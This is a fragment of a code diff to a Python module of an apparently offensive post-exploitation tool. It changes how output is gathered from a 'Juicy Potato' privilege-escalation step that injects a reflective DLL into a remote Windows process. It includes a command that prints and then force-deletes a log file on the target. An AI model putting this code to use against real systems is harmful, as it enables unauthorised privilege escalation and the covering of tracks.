■ ■ ■ ■ ■ ■
modules/privesc_juicy_potato.py
| skipped 189 lines |
190 | 190 | | else: |
191 | 191 | | logfile = self._module_settings['env_directory'] + '\\' + random_generator() |
192 | 192 | | print '\n\nInjecting Reflective DLL into remote process...' |
193 | | - | print self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid) |
194 | | - | print 'Reflective DLL injection executed!\n\n\nOutput of juicy potato:\n\n' |
195 | | - | response = self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile]) |
| 193 | + | response = self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid) |
| 194 | + | response += '\nReflective DLL injection executed!\n\n' |
| 195 | + | if custom_shellcode_path == 'default': |
| 196 | + | response += '\nOutput of juicy potato:\n\n' |
| 197 | + | response += self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile]) |
196 | 198 | | parsed_response = self._parse_response(response) |
197 | 199 | | except ModuleException as module_exc: |
198 | 200 | | parsed_response = str(module_exc) |
| skipped 4 lines |